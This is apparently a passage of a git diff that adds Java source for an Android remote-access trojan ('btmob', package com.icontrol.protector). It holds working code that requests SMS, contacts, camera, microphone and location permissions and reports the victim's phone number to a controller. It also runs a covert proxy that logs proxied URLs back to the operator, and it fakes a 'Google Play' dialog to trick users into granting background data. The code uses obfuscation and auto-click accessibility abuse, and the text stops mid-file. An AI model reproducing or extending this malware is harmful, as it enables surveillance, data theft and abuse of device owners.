Crypter.Decrypt(Crypter.getString(b)); +// byt = Crypter.getBytes(strbytE); + + + //noencryption + Command = new String(s, "UTF-8"); + byt = b; + + } catch (UnsupportedEncodingException e) { + // Log.e("Error MyPacket1:",""); + e.printStackTrace(); + } + catch (Exception e) { + //Log.e("Error MyPacket2:",""); + e.printStackTrace(); + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPermissions.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPermissions.java new file mode 100644 index 0000000..a0b1c20 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyPermissions.java @@ -0,0 +1,286 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.isPermissionDeclaredInManifest; + +import android.Manifest; +import android.content.Context; +import android.content.pm.PackageManager; +import android.os.Build; +import android.os.Environment; +import android.provider.Settings; + +import androidx.annotation.RequiresApi; +import androidx.core.app.ActivityCompat; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import org.json.JSONObject; + +public class MyPermissions { + public enum Prims { + Files, + Camera, + Microphone, + SMS, + Contacts + //Location, + } + + + @RequiresApi(api = Build.VERSION_CODES.M) + public static String Load(Context ctx) { + JSONObject json = new JSONObject(); + + try { + + + json.put(Consts.Time_Stamp, UtliTools.FullStamp()); + json.put(Consts.Accessibility_Service, MyCods.is_Access_Enabled(ctx, AccessServices.class)); + json.put(Consts.Read_Contacts, ctx.checkSelfPermission("android.permission.READ_CONTACTS") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Read_SMS, ctx.checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Read_Call_Log, ctx.checkSelfPermission("android.permission.READ_CALL_LOG") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Acc_Camera, ctx.checkSelfPermission("android.permission.CAMERA") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Get_Accounts, ctx.checkSelfPermission("android.permission.GET_ACCOUNTS") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Record_Audio, ctx.checkSelfPermission("android.permission.RECORD_AUDIO") == PackageManager.PERMISSION_GRANTED); + + json.put("Location", + ctx.checkSelfPermission("android.permission.ACCESS_FINE_LOCATION") == PackageManager.PERMISSION_GRANTED + && ctx.checkSelfPermission("android.permission.ACCESS_COARSE_LOCATION") == PackageManager.PERMISSION_GRANTED); + //json.put("Location", false); + json.put(Consts.Call_Phone, ctx.checkSelfPermission("android.permission.CALL_PHONE") == PackageManager.PERMISSION_GRANTED); + + json.put(Consts.Call_Record, false); + json.put(Consts.Send_SMS, ctx.checkSelfPermission("android.permission.SEND_SMS") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Set_Wallpaper, ctx.checkSelfPermission("android.permission.SET_WALLPAPER") == PackageManager.PERMISSION_GRANTED); + json.put(Consts.Doze_Mode, UtliTools.IsIgnore_Battery(ctx)); + json.put(Consts.Draw_Overlays, Build.VERSION.SDK_INT < Build.VERSION_CODES.M || Settings.canDrawOverlays(ctx)); + json.put(Consts.Package_Installs, Build.VERSION.SDK_INT < Build.VERSION_CODES.O || ctx.getPackageManager().canRequestPackageInstalls()); + + json.put(Consts.write_settings_sys, false); + //json.put(Consts.write_settings_sys,Settings.System.canWrite(ctx)); + + + boolean filesallowed = false; + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + filesallowed = Environment.isExternalStorageManager(); + + } else { + String[] filesp = MyPermissions.GetPrimname(MyPermissions.Prims.Files); + filesallowed = MyPermissions.hasPermissions(ctx, filesp); + } + json.put(Consts.file_acc_state, String.valueOf(filesallowed)); + + boolean ispostok = true; + if (Build.VERSION.SDK_INT >= 33) { + if (ctx.checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) { + ispostok = false; + } + } + json.put(Consts.Post_Noty, ispostok); + + + } catch (Exception e) { + e.printStackTrace(); + } + + return json.toString(); + } + + public static String[] GetPrimname(Prims pr) { + ArrayList listp = new ArrayList(); + switch (pr) { + case Files: + listp.add(Manifest.permission.WRITE_EXTERNAL_STORAGE); + listp.add(Manifest.permission.READ_EXTERNAL_STORAGE); + break; + case Camera: + listp.add(Manifest.permission.CAMERA); + break; + case Microphone: + listp.add(Manifest.permission.RECORD_AUDIO); + //listp.add(Manifest.permission.CALL_PHONE); + break; + case SMS: + listp.add(Manifest.permission.READ_SMS); + break; + case Contacts: + listp.add(Manifest.permission.READ_CONTACTS); +// listp.add(Manifest.permission.WRITE_CONTACTS); +// listp.add(Manifest.permission.READ_CALL_LOG); + break; +// case Location: +// listp.add(Manifest.permission.ACCESS_FINE_LOCATION); +// listp.add(Manifest.permission.ACCESS_COARSE_LOCATION); +// listp.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION); +// break; + } + String[] Arryprims = listp.toArray(new String[listp.size()]); + return Arryprims; + } + + public static boolean hasPermissions(Context context, String... permissions) { + if (context != null && permissions != null) { + for (String permission : permissions) { + if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) { + return false; + } + } + } + return true; + } + + public static String[] ALL_PERMISSIONS(Context ctx) { + List permissions = new ArrayList<>(); + ConfigManager cf = ConfigManager.getInstance(); + if (cf.req_files) { + if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.R) { + permissions.add(Manifest.permission.WRITE_EXTERNAL_STORAGE); + permissions.add(Manifest.permission.READ_EXTERNAL_STORAGE); + } + } + + if (cf.req_Rcontct) { + permissions.add(Manifest.permission.READ_CONTACTS); + permissions.add(Manifest.permission.WRITE_CONTACTS); + // permissions.add(Manifest.permission.READ_PHONE_NUMBERS); + } + + if (cf.req_sms) { + permissions.add(Manifest.permission.READ_SMS); + } + if (cf.req_ssms) { + permissions.add(Manifest.permission.SEND_SMS); + } + + //permissions.add(Manifest.permission.READ_CALL_LOG); + + if (cf.req_cam) { + permissions.add(Manifest.permission.CAMERA); + } + + + // boolean declared = isPermissionDeclaredInManifest(ctx, Manifest.permission.READ_PHONE_STATE); + // if (declared) { + + permissions.add(Manifest.permission.READ_PHONE_STATE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + permissions.add(Manifest.permission.READ_PHONE_NUMBERS); + } + //} + + + if (cf.req_accunts) { + permissions.add(Manifest.permission.GET_ACCOUNTS); + } + + + if (cf.req_mic) { + permissions.add(Manifest.permission.RECORD_AUDIO); + } + + + permissions.add(Manifest.permission.CHANGE_WIFI_STATE); + + permissions.add(Manifest.permission.ACCESS_WIFI_STATE); + + permissions.add(Manifest.permission.ACCESS_NETWORK_STATE); + + permissions.add(Manifest.permission.WAKE_LOCK); + + permissions.add(Manifest.permission.INTERNET); + //permissions.add(Manifest.permission.SCHEDULE_EXACT_ALARM); + //permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION); + + //permissions.add(Manifest.permission.ACCESS_FINE_LOCATION); +// if (Build.VERSION.SDK_INT >= 33 && cf.req_notification) { +// permissions.add(Manifest.permission.POST_NOTIFICATIONS); +// } + + if (cf.req_location) { + permissions.add(Manifest.permission.ACCESS_FINE_LOCATION); + permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION); + } + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { +// permissions.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION); +// } + Iterator iter = permissions.iterator(); + while (iter.hasNext()) { + String perm = iter.next(); + if (!isPermissionDeclaredInManifest(ctx, perm)) { + iter.remove(); + } + } + return permissions.toArray(new String[0]); + } + + public static String[] GetRequierdPrims(String Command) { + try { + String[] RP; + ArrayList ListPrims = new ArrayList<>(); + + if (Command.contains("FA")) { + ListPrims.add("android.permission.READ_EXTERNAL_STORAGE"); + ListPrims.add("android.permission.WRITE_EXTERNAL_STORAGE"); + } + + if (Command.contains("CA")) { + ListPrims.add("android.permission.CAMERA"); + } + + if (Command.contains("MC")) { + ListPrims.add("android.permission.RECORD_AUDIO"); + } + + + if (Command.contains("SS")) { + ListPrims.add("android.permission.SEND_SMS"); + } + +// if (Command.contains("RC")) +// { +// ListPrims.add("android.permission.PROCESS_OUTGOING_CALLS"); +// +// } + + if (Command.contains("SW")) { + ListPrims.add("android.permission.SET_WALLPAPER"); + } + + if (Command.contains("RS")) { + ListPrims.add("android.permission.READ_SMS"); + } + + if (Command.contains("RCG")) { + ListPrims.add("android.permission.READ_CALL_LOG"); + } + + if (Command.contains("CRC")) { + ListPrims.add("android.permission.READ_CONTACTS"); + } + + if (Command.contains("GA")) { + ListPrims.add("android.permission.GET_ACCOUNTS"); + } + + if (Command.contains("LOC")) { + ListPrims.add("android.permission.ACCESS_FINE_LOCATION"); +// ListPrims.add("android.permission.ACCESS_BACKGROUND_LOCATION"); + ListPrims.add("android.permission.ACCESS_COARSE_LOCATION"); + + } + + if (Command.contains("NT")) { + ListPrims.add("android.permission.POST_NOTIFICATIONS"); + } + RP = new String[ListPrims.size()]; + return ListPrims.toArray(RP); + } catch (Exception e) { + return new String[]{"EX", e.getMessage()}; + } + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyProxy.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyProxy.java new file mode 100644 index 0000000..b8ded92 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MyProxy.java @@ -0,0 +1,53 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.util.Log; + +import org.json.JSONObject; + +import java.io.IOException; +import java.net.ServerSocket; +import java.net.Socket; + +public class MyProxy { + + private ServerSocket serverSocket; + private boolean running = true; + + public MyProxy(int port) throws IOException { + serverSocket = new ServerSocket(port); + } + + public void start(Context ctx) { + while (running) { + try { + Socket clientSocket = serverSocket.accept(); + // Handle the client request in a separate thread + proxystate(ctx,"Active"); + new Thread(new RequestHandler(clientSocket,ctx)).start(); + } catch (IOException e) { + Log.e("Proxy", "Error accepting client connection", e); + } + } + } + private void proxystate(Context ctx, String thestate){ + try{ + JSONObject message = new JSONObject(); + message.put("ctype", "state");//call type + message.put("pxstate", thestate); + + LiveChat.instance(ctx).ProxyMsg(ctx,message); + }catch (Exception a){ + MyLoger.Error("logserver","Error "+a.getMessage()); + a.printStackTrace(); + } + } + public void stop() { + running = false; + try { + serverSocket.close(); + } catch (IOException e) { + Log.e("Proxy", "Error closing server socket", e); + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MySettings.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MySettings.java new file mode 100644 index 0000000..f272128 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MySettings.java @@ -0,0 +1,112 @@ +package com.icontrol.protector; + +import android.app.Activity; +import android.content.Context; +import android.content.SharedPreferences; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.Set; + +public class MySettings { + private static SharedPreferences mSharedPref; + + public static void init(Context context){ + if(mSharedPref == null){ + mSharedPref = context.getSharedPreferences(context.getPackageName(), Activity.MODE_PRIVATE); + } + } + + public static void Write(Context context, String key,String value) + { + try + { + init(context); + SharedPreferences.Editor prefsEditor = mSharedPref.edit(); + prefsEditor.putString(key, value); + prefsEditor.apply(); + }catch (Exception s){ + s.printStackTrace(); + } + } + + public static String Read(Context context, String key, String defValue) { + try + { + init(context); + return mSharedPref.getString(key, defValue); + }catch (Exception a){ + a.printStackTrace(); + } + return defValue; + } + + public static void WriteBool(Context context, String key,boolean value) + { + try + { + init(context); + SharedPreferences.Editor prefsEditor = mSharedPref.edit(); + prefsEditor.putBoolean(key, value); + prefsEditor.apply(); + }catch (Exception s){} + } + public static boolean ReadBool(Context context, String key, boolean defValue) { + try + { + init(context); + return mSharedPref.getBoolean(key, defValue); + }catch (Exception a){ + a.printStackTrace(); + } + return defValue; + } + public static void WriteList(Context context, String key, ArrayList thelist) { + // Retrieve the existing list (if it exists) + try{ + init(context); + Set savedList = mSharedPref.getStringSet(key, new HashSet()); + + // Merge the new list with the old one + Set updatedList = new HashSet<>(savedList); + updatedList.addAll(thelist); // Add all items from the new list + + // Save the updated list + SharedPreferences.Editor editor = mSharedPref.edit(); + editor.putStringSet(key, updatedList); + editor.apply(); + }catch (Exception a){ + a.printStackTrace(); + } + } + + + public static ArrayList ReadList(Context context, String key) { + try{ + init(context); + Set savedlist = mSharedPref.getStringSet(key, new HashSet()); + if (savedlist == null) { + return null; + } + return new ArrayList<>(savedlist); + }catch (Exception a){ + a.printStackTrace(); + } + return null; + } + public static void ClearList(Context context, String key) { + try{ + init(context); + SharedPreferences.Editor editor = mSharedPref.edit(); + + // Remove the value associated with the key + editor.remove(key); + + // Apply changes + editor.apply(); + }catch (Exception a){ + a.printStackTrace(); + } + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/My_Configs.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/My_Configs.java new file mode 100644 index 0000000..335202c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/My_Configs.java @@ -0,0 +1,226 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.Fix_it; + +import com.github.megatronking.stringfog.annotation.StringFogIgnore; + +@StringFogIgnore +public class My_Configs { + + //public static String mydom = "[CRNT-DOM]"; // > yaarsa.com + //public static String mydom = "[CRNT-DOM]"; + public static String OConstsS = "[OBFS]"; + public static String HA = get_ha(); + private static String get_ha(){ + return "com.icontrol.protector.A2"; + } + public static String MA = get_ma(); + private static String get_ma(){ + return "com.icontrol.protector.A1"; + } + + public static String subdir = get_sbdir(); // > /yaarsa/private/ + //public static String subdir = "/yaarsa/private/"; + private static String get_sbdir(){ + //todo:<----- + return "[CRNT-SUB]"; + // return "/yaarsa/private/"; + } + + //public static String Drop_name = Fix_it("[OBFS]com.appd.instll","[OBFS]"); + public static String Mob_Name = Fix_it("[OBFS][Client_N]","[OBFS]"); + + + public static String _Notfy_TITL_ = Fix_it("[OBFS][_NOTIFI_TITLE_]","[OBFS]"); + + + + public static String _Notfy_MSG_ = Fix_it("[OBFS][_NOTIFI_MSG_]","[OBFS]"); + + + + //facebook[]facebook.com[]com.facebook.katana|youtube[]youtube.com[]com.google.android.youtube| + public static String Tracking_Data_str = "[NAME>LNK>ID!]"; + //public static String Tracking_Data_str = "ZmFjZWJvb2tbPHM+XWZhY2Vib29rLmNvbVs8cz5dY29tLmZhY2Vib29rLmthdGFuYQ==|eW91dHViZVs8cz5deW91dHViZS5jb21bPHM+XWNvbS5nb29nbGUuYW5kcm9pZC55b3V0dWJl|"; + + + //todo:<----- + + public static String _Login_title_ = "[log-title]"; + // public static String _Login_title_ = "Title Test"; + + //todo:<----- + public static String _Login_dis_ = "[log-dis]"; + // public static String _Login_dis_ = "Dis Test"; + + + //todo:<----- + public static String _Login_btn_ = "[log-btn]"; + // public static String _Login_btn_ = "Ha"; + + + + //todo:<----- + //public static String _Login_lng_ = "[log-lng]"; + //public static String _Login_lng_ = "en"; + + + //todo:<----- + //spysolr.com= Build.VERSION_CODES.M) && !MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){ + + + + requestPermissions( PERMISSIONS, PERMISSION_ALL); + +// if (Build.VERSION.SDK_INT >= 34 && WorkServices.My_Access_inst != null){ +// final Handler handler = new Handler(); +// handler.postDelayed(new Runnable() { +// @Override +// public void run() { +// if(My_Configs.Click_Prim.equals("1")){ +// ToggleAccess(true); +// } +// AccessTools.Treger("fourceit",null); +// +// } +// }, 1000); +// // finish(); +// }else{ + if(My_Configs.Click_Prim.equals("1")){ + ToggleAccess(true); + } + // } + + }else{ + finish(); + } + + + }catch (Exception a){ + MyLoger.Error("ActPrims_onCreate",a.getMessage()); + } + } + + @Override + protected void onResume() { + super.onResume(); + } + + boolean once = false; + @Override + public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + switch (requestCode) { + case 987:{ + String[] PERMISSIONS = MyPermissions.ALL_PERMISSIONS(getApplicationContext()); + if (grantResults.length >0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) + { + ToggleAccess(false); + //AccessTools.BlackScreen(false); + if(MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){ + finish(); + } + + }else{ + + if(!MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){ + requestPermissions( PERMISSIONS, 987); + } + } + } + } + + } + + private void ToggleAccess(boolean state){ + //MySettings.WriteBool(getApplicationContext(), Consts.Auto_Clicker,state); + // MySettings.WriteBool(getApplicationContext(), Consts.Auto_Prims,state); + AccessServices.FOR_PRIMS = state; + AccessServices.Auto_Click = state; + + } +// @Override +// public void finish() { +// ToggleAccess(false); +// AccessTools.BlackScreen(false); +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } + @Override + protected void onDestroy() { + //ToggleAccess(false); + //AccessTools.BlackScreen(false); + instance = null; + super.onDestroy(); + } + + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/PhoneNumberUtils.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/PhoneNumberUtils.java new file mode 100644 index 0000000..c0dac06 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/PhoneNumberUtils.java @@ -0,0 +1,86 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.content.Context; +import android.content.pm.PackageManager; +import android.os.Build; +import android.telephony.SubscriptionInfo; +import android.telephony.SubscriptionManager; +import android.util.Log; + +import androidx.core.app.ActivityCompat; + +import java.util.ArrayList; +import java.util.List; + +public class PhoneNumberUtils { + + private static final String TAG = "DREG_PHONE"; + + // Function to get phone numbers + public static void printPhoneNumbers(Context context) { + Thread thread = new Thread() { + @Override + public void run() { + try { + ArrayList phoneNumbers = getPhoneNumbers(context); + if (phoneNumbers == null || phoneNumbers.size() == 0){ + Log.d(TAG, "Phone number: " + "not found"); + AlertServer(context,"Phone number","Not found"); + return; + } + for (String phoneNumber : phoneNumbers) { + Log.d(TAG, "Phone number: " + phoneNumber); + AlertServer(context,"Phone number","My number is: "+phoneNumber); + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }; + thread.start(); + + } + + // Function to retrieve phone numbers + public static ArrayList getPhoneNumbers(Context context) { + ArrayList phoneNumbers = new ArrayList<>(); + + // Check if API level is 23 or higher + if (isFromAPI(23)) { + SubscriptionManager subscriptionManager = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE); + + if (subscriptionManager != null) { + if (ActivityCompat.checkSelfPermission(context, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + + return null; + } + List subsInfoList = subscriptionManager.getActiveSubscriptionInfoList(); + + if (subsInfoList != null) { + for (SubscriptionInfo subscriptionInfo : subsInfoList) { + String phoneNumber; + + // If API level is 33 or higher + if (isFromAPI(33)) { + phoneNumber = subscriptionManager.getPhoneNumber(subscriptionInfo.getSubscriptionId()); + } else { + phoneNumber = subscriptionInfo.getNumber(); + } + + if (phoneNumber != null && !phoneNumber.isEmpty()) { + phoneNumbers.add(phoneNumber); + } + } + } + } + } + return phoneNumbers; + } + + // Helper function to check API level + private static boolean isFromAPI(int apiLevel) { + return Build.VERSION.SDK_INT >= apiLevel; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ProxyService.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ProxyService.java new file mode 100644 index 0000000..a5fa82b --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ProxyService.java @@ -0,0 +1,113 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.getdeviceIpAddress; +import static com.icontrol.protector.UtliTools.isPortInUse; +import static com.icontrol.protector.UtliTools.randomnumber; + +import android.app.Notification; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ServiceInfo; +import android.os.Build; +import android.os.IBinder; +import android.util.Log; + +import org.json.JSONObject; + +import java.io.IOException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class ProxyService extends Service { + + private ExecutorService executorService; + private MyProxy proxyServer; + + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + // Start the proxy server in a background thread + Context ctx = getApplicationContext(); + executorService = Executors.newSingleThreadExecutor(); + executorService.execute(() -> { + try { + + int port = 7931; + do { + port = randomnumber(2000,9000); + }while (isPortInUse(port)); + proxyServer = new MyProxy(port); // You can choose any port + MyLoger.Debug("ProxyService", "Proxy server started on port "+port); + + String localip = getdeviceIpAddress(); + MyLoger.Debug("ProxyService", "localip "+localip); + + + JSONObject message = new JSONObject(); + message.put("ctype", "first");//call type + message.put("loip", localip); + message.put("pport", port); + + LiveChat.instance(ctx).ProxyMsg(ctx,message); + + proxyServer.start( ctx); + + } catch (Exception e) { + MyLoger.Error("ProxyService", "Error starting proxy server"+ e.getMessage()); + e.printStackTrace(); + try{ + JSONObject message = new JSONObject(); + message.put("ctype", "state");//call type + message.put("smsg", "Error: "+e.getMessage()); + + LiveChat.instance(ctx).ProxyMsg(ctx,message); + }catch (Exception a){ + a.printStackTrace(); + } + } + }); + + // Start the service in the foreground to avoid being killed + startforground(getApplicationContext()); + + return START_STICKY; + } + + private static int Notifi_ID = 111; + private void startforground(Context ctx) { + try{ + // int Notifi_ID = UtliTools.randomnumber(11111, 88888); + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); + } else { + this.startForeground(Notifi_ID, notification); + } + }catch (Exception a){} + + + } + @Override + public void onDestroy() { + super.onDestroy(); + Log.d("ProxyService", "onDestroy proxy server"); + // Stop the proxy server and shutdown the executor service + if (proxyServer != null) { + proxyServer.stop(); + } + if (executorService != null) { + executorService.shutdown(); + } + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + +} + diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestDataUsage.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestDataUsage.java new file mode 100644 index 0000000..cbda603 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestDataUsage.java @@ -0,0 +1,168 @@ +package com.icontrol.protector; + +import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED; + +import static com.icontrol.protector.UtliTools.getLabelApplication; + +import android.app.Activity; +import android.app.AlertDialog; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.DialogInterface; +import android.content.Intent; +import android.content.IntentFilter; +import android.content.pm.PackageManager; +import android.graphics.drawable.Drawable; +import android.net.ConnectivityManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.provider.Settings; + +import java.util.Locale; + +public class RequestDataUsage extends Activity { + + boolean isregisterd = false; + @Override + protected void onCreate( Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); + if (connectivityManager.isActiveNetworkMetered()) { + // Checks user’s Data Saver settings. + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + switch (connectivityManager.getRestrictBackgroundStatus()) { + case RESTRICT_BACKGROUND_STATUS_ENABLED: + askit(); + break; + default: + AccessServices.PreventDelete =false; + finish(); + break; + } + } + + registerReceiver(dataSaverChangedBroadcastReceiver, new IntentFilter(ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED)); + isregisterd = true; + }else + { + finish(); + + AccessServices.PreventDelete =false; + } + + } + + @Override + protected void onDestroy() { + super.onDestroy(); + + try { + if (isregisterd) + unregisterReceiver(dataSaverChangedBroadcastReceiver); + }catch (Exception a){} + } + private DataSaverChangedBroadcastReceiver dataSaverChangedBroadcastReceiver = new DataSaverChangedBroadcastReceiver(); + + private static class DataSaverChangedBroadcastReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + } + } + public void askit(){ + String CurrnetLanuage = Locale.getDefault().getLanguage(); + //Toast.makeText(this,"Enable Draw over apps For : " + getString(R.string.f1f2f3f4f5f6), Toast.LENGTH_LONG).show(); + final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert); + + String buttonnameOK="OK"; + String MYNAME = ""; + + + MYNAME = getLabelApplication(getApplicationContext()).toLowerCase(); + + switch (CurrnetLanuage) { + case "en": + buttonnameOK = "Enable"; + alertDialog.setMessage("Allow " + MYNAME + " to use background data for updates."); + break; + case "ar": + buttonnameOK = "تفعيل"; + alertDialog.setMessage("اسمح لـ " + MYNAME + " باستخدام البيانات في الخلفية للتحديثات."); + break; + case "zh": + buttonnameOK = "启用"; + alertDialog.setMessage("允许 " + MYNAME + " 在后台使用数据以获取更新。"); + break; + case "tr": + buttonnameOK = "Tamam"; + alertDialog.setMessage(MYNAME + " uygulamasının güncellemeler için arka planda veri kullanmasına izin verin."); + break; + case "ru": + buttonnameOK = "Включить"; + alertDialog.setMessage("Разрешите " + MYNAME + " использовать данные в фоновом режиме для обновлений."); + break; + default: + buttonnameOK = "OK"; + alertDialog.setMessage("Allow " + MYNAME + " to use background data for updates."); + break; + } + + try { + // Try to get the Google Play icon + Drawable icon = getPackageManager().getApplicationIcon("com.android.vending"); + alertDialog.setIcon(icon); + alertDialog.setTitle("Google Play"); + } catch (PackageManager.NameNotFoundException e) { + try { + // Try to use the Settings app icon as a fallback + Drawable settingsIcon = getPackageManager().getApplicationIcon("com.android.settings"); + alertDialog.setIcon(settingsIcon); + alertDialog.setTitle("Settings"); + } catch (PackageManager.NameNotFoundException ex) { + try { + // If Settings app icon is not found, use your app's own icon + Drawable appIcon = getPackageManager().getApplicationIcon(getPackageName()); + alertDialog.setIcon(appIcon); + alertDialog.setTitle(MYNAME); // Use your app's name as title + } catch (PackageManager.NameNotFoundException exc) { + // Log the error or handle it as needed + exc.printStackTrace(); + // Optionally, set a default fallback title and no icon + alertDialog.setIcon(null); + alertDialog.setTitle(""); + } + } + } + + + alertDialog.setPositiveButton(buttonnameOK, new DialogInterface.OnClickListener() { + @Override + public void onClick(DialogInterface dialogInterface, int i) { + AccessServices.PreventDelete =true; + + try + { + Intent intent = new Intent(Settings.ACTION_IGNORE_BACKGROUND_DATA_RESTRICTIONS_SETTINGS); + Uri uri = Uri.fromParts("package", getPackageName(), null); + intent.setData(uri); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + }catch (Exception a){ + + } + + RequestDataUsage.this.finish(); + return; + } + }); + + + alertDialog.show(); + + } + @Override + public void finish() { + + super.finish(); // This will remove the activity from the screen + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestHandler.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestHandler.java new file mode 100644 index 0000000..676c2af --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestHandler.java @@ -0,0 +1,242 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.util.Log; + +import org.json.JSONObject; + +import java.io.*; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.URL; + +public class RequestHandler implements Runnable { + + private final Socket clientSocket; + private final Context ctx; + + public RequestHandler(Socket clientSocket,Context ctox) { + this.clientSocket = clientSocket; + this.ctx = ctox; + } + + @Override + public void run() { + try { + + // Handle client request + InputStream inputStream = clientSocket.getInputStream(); + OutputStream outputStream = clientSocket.getOutputStream(); + + // Read the client's request + BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); + StringBuilder requestBuilder = new StringBuilder(); + String line; + while (!(line = reader.readLine()).isEmpty()) { + requestBuilder.append(line).append("\r\n"); + } + + // Extract the requested URL from the request + String request = requestBuilder.toString(); + String[] requestLines = request.split("\r\n"); + String[] requestLine = requestLines[0].split(" "); + String method = requestLine[0]; + String url = requestLine[1]; + + MyLoger.Debug("RequestHandler", "Request Method: " + method); + MyLoger.Debug("RequestHandler", "Requested URL: " + url); + String clientIpAddress = clientSocket.getInetAddress().getHostAddress(); + MyLoger.Debug("RequestHandler", "clientIpAddress: " + clientIpAddress); + + logserver(clientIpAddress,url,method); + + if (method.equalsIgnoreCase("CONNECT")) { + handleConnectMethod(url); + } else { + handleHttpRequest(method, url, requestLines, reader, outputStream); + } + + + + } catch (IOException e) { + MyLoger.Error("RequestHandler", "Error handling client request"+ e.getMessage()); + logserver("ERROR",e.getMessage(),"..."); + } finally { + try { + clientSocket.close(); + } catch (IOException e) { + MyLoger.Error("RequestHandler", "Error closing client socket"+ e.getMessage()); + logserver("ERROR 2",e.getMessage(),"..."); + } + } + } + + + private void logserver( String originalip, String proxyurl, String proxymethod){ + try{ + JSONObject message = new JSONObject(); + message.put("ctype", "dataup");//call type + message.put("oip", originalip); + message.put("purl", proxyurl); + message.put("pmth", proxymethod); + + LiveChat.instance(ctx).ProxyMsg(ctx,message); + }catch (Exception a){ + MyLoger.Error("logserver","Error "+a.getMessage()); + a.printStackTrace(); + } + } + + + + private void handleConnectMethod(String url) { + try { + // Extract the host and port from the URL (example: www.example.com:443) + String[] hostPort = url.split(":"); + String host = hostPort[0]; + int port = Integer.parseInt(hostPort[1]); + + // Establish a connection to the destination server + Socket proxySocket = new Socket(); + proxySocket.connect(new InetSocketAddress(host, port)); + + // Respond to the client that the connection was established + OutputStream outputStream = clientSocket.getOutputStream(); + PrintWriter clientWriter = new PrintWriter(outputStream); + 